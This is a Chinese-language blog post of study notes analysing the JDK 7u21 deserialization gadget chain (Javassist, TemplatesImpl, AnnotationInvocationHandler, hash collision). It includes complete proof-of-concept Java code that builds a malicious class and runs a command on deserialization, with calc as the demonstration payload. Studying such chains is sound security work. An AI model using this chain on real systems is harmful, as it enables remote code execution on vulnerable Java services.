一开始是学习FastJson反序列化的POC,然后发现欠缺不少知识,遂来补一下,收获良多,总结下笔记
所谓JDK反序列化Gadgets就是不同于利用Apache-CommonsCollections这种外部库,而是只利用JDK自带的类所构造的
先下载并配置好JDK7u21
Javassist
为了理解POC构造过程,还需要学习一些前置知识,Java 字节码以二进制的形式存储在 .class 文件中,每一个 .class 文件包含 Java 类或接口,Javassist 就是一个用来 处理 Java 字节码的类库
pom.xml
| 12
 3
 4
 5
 
 | <dependency><groupId>org.javassist</groupId>
 <artifactId>javassist</artifactId>
 <version>3.19.0-GA</version>
 </dependency>
 
 | 
例如
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.*;
 import java.util.Arrays;
 
 public class Demo {
 public static void main(String[] args) throws Exception {
 ClassPool pool = ClassPool.getDefault();
 CtClass cc = pool.makeClass("Evil");
 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");
 cc.addConstructor(cons);
 
 byte[] byteCode=cc.toBytecode();
 System.out.println(Arrays.toString(byteCode));
 
 cc.writeFile("D:/Evil/");
 
 cc.toClass().newInstance();
 }
 }
 
 | 
将D:/Evil/Evil.calss拖入IDEA即可反编译,可以看见javassist动态构建出了如下类
 
至于为什么要继承AbstractTranslet,和构造函数中写命令执行的payload就涉及到下面POC的构造,暂时只需要了解javassist的大概功能
TemplatesImpl
之前参考网上分析文章的POC是从ysoserial中修改得来的,代码中使用了ysoserial的一些类,我修改了一下将POC核心部分单独提取出来方便理解
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 
 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
 import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
 import javassist.*;
 import java.lang.reflect.Field;
 
 public class Demo {
 public static void main(String[] args) throws Exception {
 ClassPool pool = ClassPool.getDefault();
 CtClass cc = pool.makeClass("Evil");
 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");
 cc.addConstructor(cons);
 byte[] byteCode=cc.toBytecode();
 
 byte[][] targetByteCode = new byte[][]{byteCode};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates,"_bytecodes",targetByteCode);
 setFieldValue(templates,"_class",null);
 setFieldValue(templates,"_name","xx");
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 templates.getOutputProperties();
 }
 
 
 private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
 Field field=obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
 }
 
 | 
主要就是利用了TemplatesImpl,向其中的_bytecodes属性赋值了一个恶意类,最终该恶意类被实例化并且调用了构造函数中的命令执行payload。javassist在这里的作用呢其实主要就是构建这么一个恶意类,并且得到其字节码用以给TemplatesImpl相关属性赋值,所以可以自行编译一个恶意类并读入字节码来使用
但会发现这里其实反序列化TemplatesImpl后还需要调用getOutputProperties()方法才能触发,不过在FastJson中已经可以形成完整利用链
在getOutputProperties()函数下断点,跟踪一下执行过程
 
强制进入该函数
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getOutputProperties
 
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#newTransformer
 
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#getTransletInstance
这里得到POC中两项属性的构造条件,即_name不能为null,_class为null,然后进入defineTransletClasses()
其实最终的触发点就在380行_class[_transletIndex].newInstance(),defineTransletClasses()是对_class和_transletIndex赋值
 
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl#defineTransletClasses
 
代码比较长这里就直接复制出来了
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 
 | private void defineTransletClasses()throws TransformerConfigurationException {
 
 
 if (_bytecodes == null) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
 throw new TransformerConfigurationException(err.toString());
 }
 
 TransletClassLoader loader = (TransletClassLoader)
 AccessController.doPrivileged(new PrivilegedAction() {
 public Object run() {
 
 
 
 return new TransletClassLoader(ObjectFactory.findClassLoader());
 }
 });
 
 try {
 
 final int classCount = _bytecodes.length;
 _class = new Class[classCount];
 
 if (classCount > 1) {
 _auxClasses = new Hashtable();
 }
 
 for (int i = 0; i < classCount; i++) {
 
 _class[i] = loader.defineClass(_bytecodes[i]);
 final Class superClass = _class[i].getSuperclass();
 
 
 if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
 _transletIndex = i;
 }
 else {
 _auxClasses.put(_class[i].getName(), _class[i]);
 }
 }
 
 if (_transletIndex < 0) {
 ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
 }
 catch (ClassFormatError e) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
 catch (LinkageError e) {
 ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
 throw new TransformerConfigurationException(err.toString());
 }
 }
 
 | 
defineTransletClasses()执行完以后,回到getTransletInstance(),此时_class[_transletIndex]已经为Evil类的一个类对象,调用newInstance()实例化Evil即可触发该类构造函数或者静态代码块中的代码
 
所以总结以上条件,便可理解TemplatesImpl的构造
| 12
 3
 4
 
 | setFieldValue(templates,"_bytecodes",targetByteCodes);setFieldValue(templates,"_class",null);
 setFieldValue(templates,"_name","xx");
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 
 | 
动态代理
以上POC是需要反序列化TemplatesImpl类并调用其getOutputProperties()方法才能触发,即可以放入FastJson的反序列化处,但若没有触发getOutputProperties()的点,就需要寻找其他手段
代理是为了在不改变目标对象方法的情况下对方法进行增强,比如,我们希望对方法的调用增加日志记录,或者对方法的调用进行拦截
假设有一个Person类实现了IPerson接口中的say方法,但现在要在say方法前后实现一些逻辑,那么借助动态代理实现如下
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 
 | import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;
 import java.lang.reflect.Proxy;
 
 public class Test {
 public static void main(String[] args) throws Exception {
 Person person = new Person();
 Handler handler = new Handler(person);
 
 IPerson iPerson = (IPerson) Proxy.newProxyInstance(IPerson.class.getClassLoader(), new Class[] {IPerson.class}, handler);
 iPerson.say("Hello");
 }
 }
 
 
 interface IPerson{
 void say(String sentence);
 }
 
 
 class Person implements IPerson{
 public void say(String sentence) {
 System.out.println(sentence);
 }
 }
 
 
 class Handler implements InvocationHandler{
 private Object target;
 Handler(Object target){
 this.target=target;
 }
 
 public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
 System.out.println("I am speaking");
 method.invoke(target, args);
 System.out.println("My word is over");
 return null;
 }
 }
 
 | 
AnnotationInvocationHandler
AnnotationInvocationHandler就是一个InvocationHandler的实现类,也在下面的POC中起到关键作用
先贴出整理好的POC
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 
 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xalan.internal.xsltc.trax.*;
 import javassist.*;
 import javax.xml.transform.Templates;
 import java.io.*;
 import java.lang.reflect.*;
 import java.util.*;
 
 public class Demo {
 
 public static byte[] serialize(final Object obj) throws Exception {
 ByteArrayOutputStream btout = new ByteArrayOutputStream();
 ObjectOutputStream objOut = new ObjectOutputStream(btout);
 objOut.writeObject(obj);
 return btout.toByteArray();
 }
 
 public static Object unserialize(final byte[] serialized) throws Exception {
 ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
 ObjectInputStream objIn = new ObjectInputStream(btin);
 return objIn.readObject();
 }
 
 
 private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
 Field field=obj.getClass().getDeclaredField(fieldName);
 field.setAccessible(true);
 field.set(obj,value);
 }
 
 
 private static TemplatesImpl getEvilTemplatesImpl() throws Exception{
 ClassPool pool = ClassPool.getDefault();
 CtClass cc = pool.makeClass("Evil");
 cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
 CtConstructor cons = new CtConstructor(new CtClass[]{}, cc);
 cons.setBody("{ Runtime.getRuntime().exec(\"calc\"); }");
 cc.addConstructor(cons);
 byte[] byteCode=cc.toBytecode();
 byte[][] targetByteCode = new byte[][]{byteCode};
 TemplatesImpl templates = TemplatesImpl.class.newInstance();
 setFieldValue(templates,"_bytecodes",targetByteCode);
 setFieldValue(templates,"_class",null);
 setFieldValue(templates,"_name","xx");
 setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
 return templates;
 }
 
 public static void main(String[] args) throws Exception {
 TemplatesImpl templates=getEvilTemplatesImpl();
 
 HashMap map = new HashMap();
 
 
 Constructor ctor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructors()[0];
 ctor.setAccessible(true);
 InvocationHandler tempHandler = (InvocationHandler) ctor.newInstance(Templates.class, map);
 
 Templates proxy = (Templates) Proxy.newProxyInstance(Demo.class.getClassLoader(), templates.getClass().getInterfaces(), tempHandler);
 
 LinkedHashSet set = new LinkedHashSet();
 set.add(templates);
 set.add(proxy);
 
 map.put("f5a5a608", templates);
 
 byte[] obj=serialize(set);
 unserialize(obj);
 }
 }
 
 | 
可见最后unserialize(obj)只是反序列化了一个LinkedHashSet类就触发了命令执行
Java在反序列化的时候会调用ObjectInputStream类的readObject()方法,如果被反序列化的类重写了readObject(),那么该类在进行反序列化时,Java会优先调用重写的readObject()方法
LinkedHashSet没有readObject()但是继承自HashSet
 
HashSet实现了Serializable接口并且有readObject()方法,所以在反序列化LinkedHashSet时会调用其父类HashSet的readObject(),可以在该函数处下断点运行POC进一步跟踪调试
 
java.util.HashSet#readObject
 
到309行的逻辑是将POC中add到set的templates和proxy加入到map中,
 
PRESENT是一个常量,就是一个新的object对象
 
继续跟进put方法,会在第二次调用map.put时进入下面的475行的位置,即现在传入的key是proxy
java.util.HashMap#put
 
这段代码本意是判断最新的元素是否已经存在的元素,如果不是已经存在的元素,就插入到table中,e.key为前一个元素即templates,key为当前元素proxy
table[i]就是一个键为我们构造的templates的Map
 
当前的e.key和key,一个是templates,另一个是POC中的proxy,显然不同,(k = e.key) == key 为false
 
这条链想要完成是需要进入key.equals(k)的,依据短路特性,那么必须要e.hash == hash为true,也就是需要满足 hash(templates)== hash(proxy),看起来貌似不可能,但漏洞作者确实做到了(大写的佩服)
这里hash的绕过方法就暂时放在下面,先接着跟踪key.equals(k)
 
由于POC中使用动态代理,这里调用Templates.equals()就会进入handler的invoke
sun.reflect.annotation.AnnotationInvocationHandler#invoke
var1就是上图中的key,var2是equals方法对象,var3是传入的参数数组,即上图中的k(TemplatesImpl)
 
继续跟入equalsImpl
sun.reflect.annotation.AnnotationInvocationHandler#equalsImpl
 
分析之前先看一下这个类的相关方法和属性
首先是构造函数
sun.reflect.annotation.AnnotationInvocationHandler#AnnotationInvocationHandler
 
在构造handler时ctor.newInstance(Templates.class, map)
即这里的this.type和this.memberValues分别是Templates.class和map 
sun.reflect.annotation.AnnotationInvocationHandler#getMemberMethods
 
并未对this.memberMethods赋值,所以这里进入if分支,最后返回的是this.type的所有方法,即Templates的所有方法
sun.reflect.annotation.AnnotationInvocationHandler#asOneOfUs
判断var1对象若是一个AnnotationInvocationHandler实例的话则转换为AnnotationInvocationHandler
 
然后接着看equalsImpl
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 
 | private Boolean equalsImpl(Object var1) {if (var1 == this) {
 return true;
 } else if (!this.type.isInstance(var1)) {
 return false;
 } else {
 Method[] var2 = this.getMemberMethods();
 int var3 = var2.length;
 
 for(int var4 = 0; var4 < var3; ++var4) {
 Method var5 = var2[var4];
 String var6 = var5.getName();
 Object var7 = this.memberValues.get(var6);
 Object var8 = null;
 AnnotationInvocationHandler var9 = this.asOneOfUs(var1);
 if (var9 != null) {
 var8 = var9.memberValues.get(var6);
 } else {
 try {
 var8 = var5.invoke(var1);
 } catch (InvocationTargetException var11) {
 return false;
 } catch (IllegalAccessException var12) {
 throw new AssertionError(var12);
 }
 }
 
 if (!memberValueEquals(var7, var8)) {
 return false;
 }
 }
 
 return true;
 }
 }
 
 | 
既然调用了Templates中的所有方法,自然包括getOutputProperties(),即完成了命令执行
Hash绕过
 
java.util.HashMap#hash
hash()中调用了对象本身的hashCode()
 
调用hash(templates)的时候,这个类没有重写,调用的是templates默认的hashCode()方法
当调用hash(proxy)的时候,则会跳到AnnotationInvocationHandler.invoke()
sun.reflect.annotation.AnnotationInvocationHandler#invoke
 
sun.reflect.annotation.AnnotationInvocationHandler#hashCodeImpl
该方法会从memberValues中进行遍历,并且依次计算key.hashCode(),而这个memberValues是我们在初始化AnnotationInvocationHandler的时候传入的map
 
sun.reflect.annotation.AnnotationInvocationHandler#memberValueHashCode
 
所以
var1=0;    var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())
相当于
var1 = 127 * map中键的hashCode ^ map中值的hashCode
POC中构造map.put("f5a5a608", templates),而字符串的hashCode为0
所以
var1 = 127 * 0 ^ templates的hashCode
var1 = templates的hashCode
map.put的位置问题
仔细观察POC会发现,并没有在创建一个HashMap后就立即插入数据,而是把map.put("f5a5a608", templates)放在了set.add之后
 
如果放在set.add之前会直接在本地触发命令执行,并且得到的序列化之后的数据不能反序列化成功
 
java.util.HashSet#add
这是因为add方法中会直接调用map.put,然后后面的过程就同之前分析的一致了
 
参考
JDK反序列化Gadgets 7u21
JDK7u21反序列化漏洞分析
秒懂Java动态编程(Javassist研究)
Java动态代理-实战